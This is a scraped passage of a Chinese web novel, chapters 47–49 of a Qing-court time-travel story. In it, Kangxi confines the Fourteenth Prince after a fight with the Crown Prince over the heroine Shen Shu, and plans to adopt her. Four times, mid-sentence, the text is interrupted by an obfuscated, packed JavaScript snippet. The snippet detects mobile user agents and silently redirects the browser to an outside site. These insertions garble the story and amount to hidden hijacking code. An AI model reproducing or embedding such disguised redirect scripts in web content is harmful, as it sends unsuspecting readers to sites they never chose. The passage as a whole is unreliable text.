十四阿哥见状不禁也想开口,可一张嘴就被康熙怒吼:“朕让你们都先闭嘴!” 沈姝心道:听这声音,是真的很生气。 在场三个当事人,两个是儿子,一个是她这个外人。 而且还要她先说,沈可不觉得这是给机会让自己先告状。 因为自己,结果就是皇上的两个儿子打了起来,还伤了另外一个儿子。 这可不是有理没理的事情,他们毕竟是父子,有父子亲情在,而自己仅仅只是外人! 毕竟太子是康熙的儿子,她算什么? 疏不间亲,此时指责太子的错处,无异于火上浇油。与其辩解,不如主动请罚,说不定还能罚轻点儿! 所以沈姝不会傻到在这个时候告状,反倒是一开口,直接把罪责都揽在了自己身上。 “民女请皇上责罚! 此事盖因太子殿下请民女禀告如意灯之事而生误会,十四阿哥是一时鲁莽才会失敬于太子殿下,并非是存心! 四贝勒乃因劝阻才会不慎受伤,究其根源,皆在民女,民女才是罪魁祸首,请皇上责罚!” 康熙知道沈姝所说绝对不是事情的真相,而且过于轻描淡写,但他现在就只想听到这种回答! 这说明她识大体,知轻重,明事理。 真相难道他自己猜不到吗? 康熙没有忽略刚才沈姝叩首请罪时,露出的手腕上有乌青的痕迹。 如果不是太子去请,她不可能主动去太子府上。 至于到了太子府上发生了什么事情,她手腕上的乌青已经说明了一切! 而十四阿哥,应该是得信儿后擅闯了太子府,然后发生了冲突。 所以在康熙看来,确实是因为沈姝,如果没有她,不会如此! 可这是情感上的怪罪,而她已经认罪了。 理智上,他知道沈姝是无辜的。 沉默片刻之后,康熙大喊了一声,“李德全!” 很快,李德全推门进来。 康熙先是吩咐道:“你亲自送沈氏回去。” 而后又朝沈姝说道:“今日之事,朕不想再多人知道。” “谢皇上开恩,民女遵命。” 这是没有自己的事了,说实话,沈姝感到意外。她以为康熙会责罚自己,结果却没有,真是君心难测…… 其实刚才如果她不认罪,而是趁机状告太子,那结果绝对是火上浇油,一定会引得康熙厌恶甚至暴怒。 沈姝被李德全带走后,养心殿里只剩下太子与十四阿哥这两个当事人。 康熙这才开始问他们二人,先问的是太子。 “胤礽,你说!” 他的声音压抑着怒意,低沉至极。 而胤礽不是沈姝,他一贯被宠溺,当然不可能说错在自己,甚至还振振有词。 “皇阿玛,儿臣请沈氏过府叙事,期间沈氏张狂对儿臣不敬。 而十四弟见儿臣欲惩罚于她,擅自闯进来连伤儿臣府中侍卫十多人,还累及四弟受伤。他如此这般,何曾视儿臣为太子?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14043408|145802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>因为沈姝掩饰过去了那件事,所以他也不会提。他一点儿都不觉得沈姝是在替他掩饰,反而觉得是她身为女子,羞于启齿。 当然,他被沈姝踢打的事情也不能说,同样是恼怒到不能启齿! 康熙深深的看了一眼胤礽,眼神中尽是失望。 而胤礽低着头,并没有看见。 “胤祯,你来说!” 他倒要听听他们如何自行狡辩! 十四阿哥不知道沈姝与太子胤礽之间究竟发生了什么,他闯进来的时候,沈姝已经被押。 但他了解太子的行事作风,也知道沈姝不是那种没事找事的人。 所以这事,必定是太子想要欺负她! 所以他选择了避重就轻的实话实说,“皇阿玛,儿臣得知沈氏被太子请走,便登门拜访,可太子的门卫不让儿臣入内。 太子若是光明正大,又怎会如此? 儿臣不放心,才不得已闯府! 进去之后才发现沈氏已被太子拿下,不仅如此,太子一看见儿臣就要责罚治罪。儿臣气不过,才争执起来。 后来四哥前来劝阻,太子仍非要治罪,所以又误伤了四哥。” 听十四阿哥这么说,胤礽立刻开始争辩,“皇阿玛,明明是十四弟他擅闯在先,又拔刀一通乱砍,才会……” 然而此时的康熙再也压制不住心中的怒气,抓起茶杯就摔到了太子胤礽脚下。 “混账东西,你还要狡辩! 书都读到狗肚子里去了? 瓜田李下的道理你不懂? 你若是光明正大,问心无愧,在请沈氏时因何不请你的几位弟弟一同前来? 是你请了老三、老四、老八他们不肯来,还是你压根就没有请?” 这话说的胤礽哑口无言,他确实是抱有某种不可告人的目的,但不敢说出来。 见胤礽被责骂,十四阿哥觉得出气,看来皇阿玛还算公允。 然而没等他高兴,康熙又转向他,直接踹了一脚。 “还有你,朕恨不得再次杖责你! 胤礽乃太子,是你的兄长,你如此这般的不敬兄长,以下犯上,当真是该罚!” 吵完十四阿哥,康熙大喊一声,“来人!” 外面值守的太监听令进来后,康熙直接做出了对十四阿哥的处罚,“将胤祯圈禁于宗人府!” 这儿子,刚挨过打,不能再打了,只能关起来让他好好的反省反省。 被如此处罚,十四阿哥没有喊冤。 今天这事,实在是有点儿大,还伤了那么多侍卫,不被罚也说不过去。 但如果胤礽不被罚,他就很愤愤不平。 可又知道皇上这个阿玛一向是偏心至极,以往胤礽曾殴打过平郡王讷尔素等人,还踢晕过四阿哥,可结果呢? 皇上就跟没看见一样,根本就没有因此而责罚过他! 但十四阿哥无法,皇上就是如此的偏爱胤礽这个太子! 现在养心殿只剩下胤礽,康熙才继续责骂这个儿子。 “胤礽,你身为兄长,难道不知什么是兄友弟恭? 你口口声声说胤祯不敬重你,可你又是怎么对他的?” “朕的两个儿子竟然打了起来? 这事传出去,你们不要脸面,朕还要!” “朕告诉你,不要再打沈氏的注意。朕欲认她为义女,她是朕的人!” “滚!最近不要让朕再看到你!” 简直要被气死,康熙觉得这些不省心的儿子能气得他折寿! 骂走了胤礽,这事算是解决了。 对了,还有老四,康熙还想问问他。 47.第 47 章 独自站在养心殿,平复许久之后,康熙才喊人去传唤四阿哥。 四阿哥的胳膊伤的不轻,不仅是破了皮,还被砍得皮开肉绽,所幸没有伤及骨头。 太医已经为他包扎好伤口,他没有离宫,因为知道皇上一定会传他问话。而且他也担心沈姝,想知道皇上对她的处置。 然而待进入养心殿,四阿哥发现不仅是沈姝,就连太子与十四阿哥都不在。 他正要行礼,康熙先表达了一下关心,“免礼,你的伤怎么样?” “并无大碍。” 虽然胳膊上依然是疼痛不已,但四阿哥只想大事化小。 对于四阿哥的伤情,问过这一句之后康熙没有过多关注,而是继续问道:“你怎么会受伤?” 面对这个问题,四阿哥不知道之前沈姝、太子还有十四阿哥是怎么说的,所以只能略微偏向着沈姝来描述。 “回皇阿玛,当时情形有些乱,十四弟与太子起了争执,看管沈氏的侍卫被她挣脱,还失了佩刀,故而追她而去。 儿臣知道皇阿玛为天下百姓而看重沈氏,怕她因此而折损,便加以阻拦。 未曾想儿臣学艺不精,却弄伤了自身。” 在他看来,能被沈姝夺走佩刀,全都是太子府侍卫的错! 沈姝当然是没有错! “你的意思是沈氏夺了侍卫的刀?” 还有这事? 康熙的声音都为之都拔高了一节,“她想做什么?” 看这样子,皇上还不知道这事? 四阿哥有点儿后悔,早知道就不提了! 可是已经说了,只得硬着头皮继续下去。 “当时十四弟被太子责罚要打棍子,沈氏欲阻拦,才会如此……” 这话听的康熙脸色难看,十四阿哥敢动刀,她居然也敢,这女人可真是胆大至极! 原本之前听了沈姝的话,还暗叹她识大体、明事理。 结果,她居然是这样的! 这一个个的,没一个能让人省心的! 好一会儿,康熙才压下心中的烦躁夸了四阿哥一句:“胤禛,今日之事,你做的极好!” 四阿哥闻言露出自责的表情,“儿臣惭愧,未能成功劝阻,让皇阿玛忧心了。” 康熙叹了口气,看四阿哥顺眼了许多,关键时刻还是老四靠谱些啊! 紧着着,他忽然说道:“沈氏性情乖张,但朕着实是惜才,所以打算认她为义女,你意下如何?” “这是沈氏的福气,儿臣也恭喜皇阿玛!” 一听这话,四阿哥很快明白了原因。 大概是今日之事,因为沈姝牵扯到了太子与十四阿哥二人,所以皇上决定快刀斩乱麻! 认为义女的意思也就是在表明,其他人就不要再打什么主意了。 包括太子,也包括十四阿哥,当然还有他…… 对此四阿哥是有些失落,可相比之下,十四阿哥应该更甚! 但这样也好,至少大家都一样,至于以后? 以后的事情以后再说吧…… 康熙对四阿哥的反应很满意,说实话,要不是沈姝能折腾出来这么多有用的新东西。 就凭她引得自己两个儿子如此相争,他都不能容她! 太子倒是其次,只是贪欲作怪,而十四阿哥才是康熙头疼的。 之所以迟迟未能下定决心安置沈姝,就是因为想再看看十四阿哥对她情谊几何? 他甚至还打算先借故分开他们二人,待十四阿哥感情淡了再说。 结果没想到竟然发生这样的事情,这两人之间的感情居然都到了拔刀相救的地步! 康熙可以想象,若是十四阿哥得知此事,必要大闹。 所以他想交给四阿哥一个任务,“老四,你与老十四是一母所出,朕希望你这个做兄长的能多劝劝他。 朕不指望他能为朕分忧解难,可以后也不能再这么任性而为!” 对此,四阿哥回答道:“儿臣相信十四弟会体谅皇阿玛您的良苦用心。” 至于如何劝慰十四阿哥,回去之后还需要好好想想。 沈并不知道十四阿哥因此而被圈禁,直到次日一早,十四福晋怒气冲冲的找了过来。 “沈氏,你为什么非要害得十四爷被圈禁?前几天你才害得他被皇上杖责,现在你又害他被圈禁,你可真是个害人精!” 一看见沈姝,十四福晋就骂个不停。 得知此事之后,她整夜都没有睡着,整个人是既忧又怒。 “十四爷被圈禁了?” 沈姝的脸色变得很难看,怪不得十四福晋会如此。 皇上没有处罚她,却是处罚了十四阿哥,沈姝的心生愧疚。 “福晋,我会想办法救十四爷出来。” 听沈姝这么说,十四福晋冷笑一声,“你救?你不害他我都得好好谢谢你,给你烧高香了!” 沈姝不想吵架,因为吵架不是解决问题方式,所以问道:“那福晋你有什么办法吗?如果需要帮忙,我一定会尽力!” 能有什么办法? 十四福晋心里乱糟糟的,除了回去求救于娘家就是进宫去求十四阿哥的生母德妃。 但这与沈姝无关,她现在简直快恨死了眼前之人! 不予理会沈姝的话,十四福晋一挥手,直接喊道:“给我砸,把这狐媚子的东西统统给砸烂,把人给我赶出去!” “住手!福晋,这些东西你不能砸,因为皇上刚看过。” 沈姝拦住了十四福晋,倒不是忍不下这口气,而是这么砸倒霉的是十四福晋。 她有时候很是搞不明白十四福晋这种人的脑回路,事情已经发生了,如此发泄有助于解决问题? 十四福晋气得指着沈姝喊道:“你拿皇上吓唬我?” 十四福晋正在气头上,沈姝不想与她过多纠缠,庄子里的这些东西确实不能被破坏。 比如实验室里的设备都是特意找人制作并多次调试才布置好的。 要是被砸坏,一切还要重头来过。除此之外,这里还储存有其他原料。 所以沈姝直接搬出来了皇上,“数日前皇上亲至此地,福晋若是不信尽可去求证。 至于这些东西,福晋若是要砸,最好先去请示一下皇上。” 顿了顿又给出了一个建议,“福晋若是想出气,可以去砸十四爷为民女置办的院子,那地方民女绝不会再去!” “你……” 十四福晋气得说不出话来,皇上来过庄子这里的事情她还真听说过。 沈姝这么一说,她真不敢动手! 就算是再怎么生气,她也不敢去惹怒皇上。 她对于皇权的敬畏,是刻在骨子里的。 最终,十四福晋怒气冲冲而来,窝火憋气而归。 逼走了十四福晋,沈姝的心情很糟糕,她有些想不太明白皇上的心思。 为什么她没有受罚,十四阿哥反而被罚了? 这事能问谁去? 思来想去,沈姝觉得只能去问四阿哥。 原本她也是要去看四阿哥的,毕竟他为了救自己才受的伤。 让顺子赶紧去买了一支老山参,还有阿胶等补品,连帖子都没来得及先下,沈姝就着急去拜见四阿哥。 关于如何才能救十四阿哥,这事她觉得只能先去探探四阿哥的口风。 因为受伤,四阿哥正在家中修养。 沈姝求见,他自然是不会拒绝。 “四爷,都怪民女鲁莽害得您受伤,您的胳膊伤的严重吗?” 进来后看见四阿哥, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14050153|145802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈姝先是道歉,而后又关心了他的伤情。 记得是伤到了左胳膊,但现在从表面上看不太出来,因为他衣服穿得整齐,并没有露出来伤处。 四阿哥闻言摇摇头,这次他必须要好好的说说她,“你确实是鲁莽,怎么敢去夺刀? 那些侍卫都是习武之人,你一女子哪里会是对手!就算是再急,你以后万不可再如此莽撞!” “对不起……” 对此,沈姝不愿多说,只是诚心道歉。 见沈姝垂着脑袋,露出无精打采的沮丧状,四阿哥也不想说太多惹她不悦,又开始劝慰:“我的伤势并无大碍,你不用担心,也无需内疚。原本这事,错并不在你。” 听四阿哥这么说,沈姝是真觉得这事,自己没有错,十四阿哥也一样。 全都是太子的错,根本不应该罚十四阿哥,所以说道:“可错不在我,那也不能说十四爷有错啊,皇上因何要圈禁于他?” 听了这话,四阿哥不禁皱眉,他很想当面向沈姝求证一件事情。 而眼下,正是一个机会。 某些话,他也想要掰碎了说与她听。 “沈姑娘,太子乃国之储君,一人之下万人之上。 十四弟为弟为臣,硬闯太子府,又砍伤了那么多侍卫,在皇上眼中就是有错。 昨日之事,你确实是无辜,可太子与十四弟的争执确因你而起。 而皇上之所以没有责罚你,是因为惜才! 沈姑娘,你还记不记得,我跟你说过怀壁之罪的话? 昨日,皇上对我说欲认你为义女,你能明白这意味着什么吗?” 皇上要认自己为义女? 这事沈姝还真不知道,因为皇上并没对她说。可她相信这种事情,四阿哥不会乱说,所以这是真的。 沈姝知道太子想要得到自己并不仅仅只是因为容貌,还有其他。 作为有价值的人,她已经成为被争抢的目标,公主的身份应该康熙对染料以及肥料给予的补偿。 所以皇上这么横插一手,就是在告诉其他人,她沈姝是皇上的人,而不是太子或某位阿哥的。 沉思片刻之后,沈姝说道:“意思是说我属于皇上的人,对吗?” “对!” 四阿哥看向沈姝,对她的玲珑剔透很是欣慰。 他接着说道:“既然你已明白皇上的意思,那我想知道你与十四弟之间是否还要强行继续下去?” 提到这个,沈姝苦笑一声,“民女对十四爷并无男女之情,十四爷是民女的救命恩人,民女对他只有感激之情。 可民女非但不能报恩,反而惹得十四爷先是被杖责,现又被圈禁……” 报恩的说辞,沈姝在朝堂之上也这么说过。四阿哥观她表情不似作伪,也许昨日如此那般,真的只是为报恩? 他不知道自己该不该信,既然如此,他决定把皇上交给自己的任务也说给沈姝听,想看看她的反应。 “沈姑娘,不瞒你说,皇上希望我去劝解十四弟,他应该还不知道皇上欲认你为义女一事。 而皇上之所以还没有宣告此事,或许也与十四弟有关。 我想若是十四弟能想开,皇上也不愿如此这般的处罚他。毕竟皇上对他,还算是疼爱。” 听四阿哥这么说,沈姝当即恳求道:“求四爷您与十四爷言明厉害,让他莫要一意孤行。” “好。我会劝解十四弟,也会请求皇上解除对他的处罚。” 四阿哥应下这话,才放下心来。 因为皇上明显是不想沈姝与十四阿哥之间再有纠缠,当然现在皇上的意思应该是不想她与任何皇子之间有瓜葛,包括太子。 他相信沈姝对十四阿哥被圈禁的事情定是感到内疚自责,所以一定会尽力说服十四阿哥。 48.第 48 章 既然皇上交代下来了任务,而且又已经试探过沈姝的态度。 对于如何劝说十四阿哥,四阿哥心里已经有了比较大的把握,所以不想过多耽搁。 因为他知道,再多耽搁下去,就不得不面对自己的生母德妃。 不用想就知道,十四阿哥被圈禁,十四福晋一定会进宫求见德妃,而身为额娘的德妃,就一定会来说情,让他救十四阿哥。 而他并不愿多看额娘疼爱幼弟的一幕幕。 所以沈姝离开后,四阿哥当天便去了宗人府。 他有皇上的口谕,奉命前来劝说,当然可以见到十四阿哥。 十四阿哥的状态还不错,吃喝不缺,甚至还有太医每日为他换药。 看到四阿哥过来看自己,十四阿哥有些惊讶。被圈禁之人是不允许探视的,他知道四阿哥能进来,必定是得到了皇上的授意。 于是便直接问道:“皇阿玛让你过来有什么事情?” 四阿哥没有回答这个问题,而是先说道:“十四弟,额娘应该很担心你。” 见十四阿哥不说话,他又继续问道:“昨日之事,若是日后再发生,你难道还要如此这般?” “你想说什么可以直说!” 十四阿哥被说的有些烦躁,不知道四阿哥到底想说什么。 他最讨厌这种说话方式,这意思是在暗讽自己不孝? 一看十四阿哥这态度,四阿哥就有点儿不悦,可该劝还得劝。 对于十四阿哥这种人,劝说的话就要直击痛处,一点儿都不要客气。 所以四阿哥直接说道:“沈姝的价值,不仅是十四弟你知道,太子也知道。 你觉得昨日之事过后,太子就会善罢甘休?十四弟,你真觉得自己或者是八弟他们能护的住她?” 若是昨日之事出现之前,四阿哥这么问,十四阿哥绝对会直接反驳。 可现在十四阿哥对此真的感到有一种无力感,昨日那一幕对他的触动太大了。 若不是四阿哥,沈姝可能真的会丧命。 是他大意了,低估了太子的无耻与残暴,而且也没想到沈姝会这样。 当然十四阿哥并不是埋怨责怪沈姝,而是真的觉得昨天的事情已经完全超出了他的意料。 坦诚的说,尽管想,他也没有办法保证一定能护得住她。 除非两个人即刻圆房,这样可以断绝太子的觊觎,但沈姝又不愿意…… 至于八阿哥他们,十四阿哥知道自己与八阿哥之间的关系并不如九阿哥他们亲密。 毕竟他刚及弱冠,尚且未能参事。 而九阿哥和十阿哥年纪比自己大,已经跟八阿哥一起参事多年。 靠八阿哥他们去护住沈姝,十四阿哥没有这么天真。就拿昨日硬闯太子府一事,八阿哥绝对不会干。 十四阿哥看向四阿哥,烦躁不已,“你到底想说什么,能不能直接说明白?” 对于十四阿哥的烦躁,四阿哥大概能猜到原因。 因为有心无力,故而躁动烦乱。 其实他也感到有心无力,但还不至于如此心急,因为他远比十四阿哥更能忍耐。 毕竟这么多年都是这么过来的。 烦躁心急是好现象,四阿哥觉得这样才说明十四阿哥心中已经承认了自身的无能为力。 若是十四阿哥自负满满,反倒是无法说服。现在这样,就好说多了。 所以四阿哥直接抛出来了重磅消息,“十四弟,昨日皇阿玛跟我提了一句,说想要认沈姝为义女,我想皇阿玛此举也是被逼无奈……” “……皇阿玛要认她为义女?” 听了这话,十四阿哥的脸色比被杖责圈禁还难看。 那意味着沈姝以后就是他的“妹妹”了,而兄妹不婚…… 良久之后,他才神情萧瑟的暗讽了一句,“皇阿玛可真是英明神武,这一招就叫做釜底抽薪吧!” “十四弟,慎言!” 四阿哥闻言连忙呵止了十四阿哥,这话他可真敢说! 无论是为沈姝,还是为这个弟弟,四阿哥觉得自己都必须要再多说几句。 “其实这样也好,有皇阿玛的庇护,至少她很安全,难道十四弟你不想她安然无恙? 而且十四弟你好好想想,若是你时常为救她而被皇阿玛责罚,对你有什么好处? 对她又有什么好处? 你会被认为是不孝,而她会被皇阿玛和额娘认定为是你不孝的罪魁祸首!” 十四阿哥听完之后,抬头看向四阿哥,问道:“皇阿玛让你过来做什么?” “皇阿玛让我劝你,昨日沈氏亦来找我,她也希望我劝你不要一意孤行。” 四阿哥这么说道。 “我知道了。” 十四阿哥逐渐冷静下来,面无表情的说道:“你可以回去复命了。” 尽管厌恶四阿哥的这些话,觉得刺耳,可这是现实,他不得不面对。 四阿哥没有再问十四阿哥究竟是知道了什么,以后会怎么做,而是说道:“好,我会求皇阿玛尽快放你出来。” “多谢四哥,你请回吧。” 十四阿哥知道四阿哥觊觎沈姝,所以根本不想关心他的伤势,到了也没有多问一句他的伤情。 不过沈姝就要变成他们的“妹妹”了,大家都一样…… 对于十四阿哥的漠不关心,四阿哥已经习以为常,不想过多在意,反正他的任务已经完成了。 沈姝并不知道四阿哥的办事效率如此之高,这么快就说服了十四阿哥。 从四阿哥府中出来后回到庄子上,她这边也来了客人,是八阿哥。 八阿哥也知道了十四阿哥被圈禁一事,是过来询问的。 “沈小姐,你可否知道十四弟因何会被皇上圈禁吗?” 其实来之前,他也打听过,只是隐约知道是跟太子还有沈姝有关,可具体是因为什么就完全打探不出来了。 但这个问题,沈姝不能告诉八阿哥。 在南书房,皇上已经明确表明了态度。而且李德全送她回来的路上,也已经再三提醒。 所以,沈姝不能说,她直接说道:“八爷,此事若是能说,民女必然会告诉您。” 这意思就是不想告诉他,八阿哥有些不悦,“沈小姐,你这样我们什么都不知道,怎么才能救十四弟出来?” “还请八爷恕罪。” 面对这样的逼问,沈姝还是坚决不肯言明。 昨日之事,本就是一桩丑事。 说出去不仅对她没有好处,对十四阿哥也不会有什么好的影响。 她还知道八阿哥与太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14062470|145802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子不对付,说不定还会用这个作筏子去攻击太子。 八阿哥觉得沈姝这样很不应该,“沈小姐,难道你就一点儿都不担心十四弟? 他可是被皇上圈禁了,还不知道什么时候才能被放出来!” “民女会想办法……” 之前已经从四阿哥那得到消息,但具体会怎样也不好说。 所以沈姝也不能做出什么保证,如果实在不行,她会再想办法。 见她这样,八阿哥虽然生气但也没办法。 他觉得沈姝与十四阿哥两个人,脾气还真有点儿像,都是那种不怎么听劝的任性之人。 又思及染料与灯具的事情,八阿哥有些头疼。他与张廷玉已经谈过,但没有打探出任何有用的消息,并不确定到底想要怎么安排才好。 无论是染料和灯具,操作得当,不仅能让皇上满意还能顺带解决一些其他问题。 比如,多出来的这两个进项,由谁具体负责就是一件事。 主要是也不太了解沈姝到底愿不愿意配合,可这事八阿哥也不能直接的问。 最合适的是通过十四阿哥来探探她的口风,结果现在十四阿哥被圈禁了。 八阿哥只得说道:“十四弟的事情,我也会择机去恳求皇上开恩。” 说完这个,还要谈正事,“除此之外,还有两件事情要跟你说下。 皇上想要在京城设置一些如意灯,令我负责,此事还需你协助。 主要是需要将京畿附近铸造局的炉子都改良一番以收集你说的那种气体。 另外,染料的事情,皇上令我与张大人拟折子,他近日应该会来找你沟通此事。” 沈姝点点头,“关于改造炉子,民女需要现场看一下铸造局的炉子再说。” 这个她觉得应该不难,无法就是增添一些附加设备,改良一下炼焦的方法。 而染料的事情,也可以说是与炼焦炉的改造有关。 所以她进一步说道:“焦炉若是改造得当,不仅可以收集灯具的燃料,还可以获取其他有用之物。 染料制取所需的部分原料,也出自于此。对此,民女会拟一个详细的章程给张大人。” 听沈姝这么说,八阿哥心里不是很有底,说了一个目前想到的问题,“炉子改造后所出的焦炭能否适合冶铁,怕是还得先看看再说。” “这个没问题,可以先改造一个试试,如果可行,再全部改造。” 对于沈姝来说,这都不叫事。 “很好,那就先这样定下来。” 然后八阿哥又说了灯具的事情,这事对于他来说,比较急。 因为这是皇上明确交代给他的事情,必须要上心。 “如意灯的制作应该也需要时日,我想着不如先制作出来,这样待那个什么气体收集够了,可以直接用。” 沈姝表示理解,直接说道:“灯具的制作确实需要费些功夫,之前民女是交由六子来负责的,八爷您可以问下他。 至于其他事情,民女都听八爷您的。” 八阿哥点头表示满意,沈姝还算配合。 他还得尽快安排此事,所以走的时候顺便把六子也借走了。 八阿哥走后,沈姝在等张廷玉来说染料的事情,没想到居然等到了一大堆堵着们给她送礼赔罪的商贾…… 49.第 49 章 皇上让张廷玉安抚闹事的商贾,还让他去跟沈姝对接染料、肥料等的事情。 张廷玉没有先去跟沈姝对接,而是先安抚了商贾,毕竟稳定更重要。 再说不让这些商贾去赔罪,他怕沈姝气不顺。 对于沈姝这样的人,张廷玉表示自己不太想招惹,她可是敢应杠皇上还能全身而退的人! 所以给这些商贾传话的时候,已经明说让他们安安静静的等一个月,到时候沈姝气消了,皇上自有安排。 这些商贾们已经闹腾了数日,但见各个衙门无人管事,要不是有确切的消息传出来,他们真的要舍命去敲登闻鼓了! 一个月而已,他们能忍,总好过直接被挤兑死! 现在既然已经有了台阶下,这次不用再一起碰头商量怎么办,傻子都知道该怎么办,当然是赶紧去赔罪啊! 至于怎么赔罪,不用人教,他们都很擅长。 所以沈姝住的地方,也就是十四阿哥的庄子门外,车如流水马如龙。 而这些人,沈姝是一个都不想见。 她不发话,也没人敢开门让这些送礼的商贾们进来。 但也不能一直让他们在门口这么聚着,沈姝对顺子交代道:“去跟他们说清楚,送礼赔罪就算了。 既然以后染料的事情归内务府管,那就跟咱们没有关系。 这一个月时间内咱们该传授染色技法继续传授,也与他们这些商贾无关。” 她并不想跟这些谋害过自己的人有再有更多瓜葛,所以他们赔罪不代表着她就要接受就要原谅。 顺子也听明白了这个意思,领命出去应付那些商贾,直接驱散怕是比较难,所以便高声喊道:“诸位,且听我说! 你们都先回去吧,今晚飘香楼我代我们小姐做东宴请诸位!” 听他这么说,这些人心里提着的一口气终于松了下来。 这送礼上门,最怕的是人家拒绝收! 经过几番折腾,他们终于意识到沈姝不是好惹的,即便以后染料一事归内务府管,他们也想与她化干戈为玉帛。 否则,得罪这种摁又摁不死的人,他们夜不能寐啊! 打发走这些商贾,顺子回去禀报。 对于这种处理方式,沈姝没有什么意见。 她给予手下之人的权限比较大,像应酬这种小事,根本无需特别来请示。 除此之外,还需要交代其他事情,“此事就交由你处置,另外你注意一下看看那些来学染色的人之中,有没有人品不错,可以合作的。” 凡是在血书上签名摁过指纹的人,沈姝是绝对不可能再用,所以只能另行物色新的合作者。 虽然染料已经上交,但灯具还可以争取一下与内务府的合作。 即便是丁氏从山西迁徙而来,最多也只能顾及京城的生意,可天下如此之大,其他地区也需要有合作者。 当然,这事还得先跟张廷玉所代表的皇上去谈好再说。 无论如何,做生意的事情,沈姝是不会放弃的,因为她手里需要有属于自己的可用之人。 傍晚的飘香楼,商贾们又齐聚一堂。 顺子还专门预定了之前的那个雅间,没错,他就是想以此来恶心这些人为沈姝出气。 同样的地方,今日改由他做东,这就叫做风水轮流转! 而这些商贾们看到还是同样的雅间,心情都很是复杂,早知道如此,还折腾什么啊? 落座之后,坐在主位上的顺子站起来就是一通场面话,“诸位,今日呢咱们尽释前嫌。以后呢,咱们桥归桥、路归路,这也是我们小姐的意思。” 听他这么一说,其他人的脸色可就又变得难看起来。 “丁掌柜的,您这是什么意思啊,是不是沈小姐还不肯原谅我们?” 啊呸! 顺子想在心里臭骂这些人一顿,要是噶礼那王八蛋也是如此这般的就想求得原谅,那他们丁氏就不用报仇了? 心里是这么想的,但嘴上不能这么说,顺子抬着下巴不悦的斥道:“哎你们怎么能这么说话?我们小姐是最心善不过的人! 她都已经不再计较你们的诬告之罪了,你们还想怎样啊?” “……” 这话说的众人哑口无言,原来不是他们愿意赔罪,人家就一定要接受…… 这可怎办啊? 沉默片刻之后,才有人再次开口:“您误会了,我们没想怎样,就是想赔罪、赔罪而已!” 说着他举起酒杯,“以往之事,是我黄某人的不是,在此我自罚三杯以谢罪!” 随着他的举动,其他人也连忙举起酒杯,“对对对,都是我们的错,多谢沈小姐大人有大量不予计较……” 这顿饭吃的,除了顺子外,其他人都有些消化不良。 可对于他们来说,也不是很重要,这事总算是解决了。 反正染料的事情以后归内务府,而内务府归八阿哥管。 虽然八阿哥不会直接见他们这些商贾,但可以去巴结一下九阿哥。 听说十四阿哥跟八阿哥、九阿哥他们的关系都还不错,这勉强算是绕开了沈姝,只要以后不再得罪她就好。 得知商贾们去赔过罪后,张廷玉才递上了拜帖,开始跟沈姝商量皇上吩咐的事情,这次他的态度很是客气。 “沈小姐,内务府要是接管染料之后,你看这制作之法是不是得提前安排一下比较妥当?” 上交染料,最重要的就是要把染料的制备方法交出来。 这个沈姝当然知道,只是怎么教还是个问题,她提了一个建议。 “张大人,制作染料所需的部分材料等改造过铸造局的焦炉后就可以搜集,其他的应该也不是问题。 只是染料的制作工序繁杂,寻常人并不是一朝一夕就能学会。 所以民女的意思所有设备都建造完成后,可由内务府派一些听话的学徒来学习。 但人选上,一定要选那些足够听话的人。 因为染料的制作过程并不是十分的安全,稍有不慎便会发生伤人的事故。” 这种事故放在后世,那就是生产安全事故。严重的话,是可以入刑的,所以沈姝不得不慎重。 她没有想着要把内务府的人培养成什么化学家,想必内务府也不需要,仅仅只是需要知道如何制作染料即可。 这个相对简单,只要把工序讲述清楚即可,原理就没必要多说,所以只需要能听话的按程序办事之人。 张廷玉点点头,“如此甚好。” 制作染料的事情解决之后,剩下的就是如何经由内务府将染料贩卖给天下商贾。 而这些事情,则需要跟八阿哥商议出一个章程来汇报给皇上。 自然,这些已经与沈姝无关。 但她想说的是灯具的事情,之前已经跟丁氏三兄弟都说好了,等他们把家人接过来后要开始卖焦煤还有灯具。 结果染料一交出去,以后染坊、布店还有绸缎铺子的生意都没了。 现在庄子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14080844|145802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 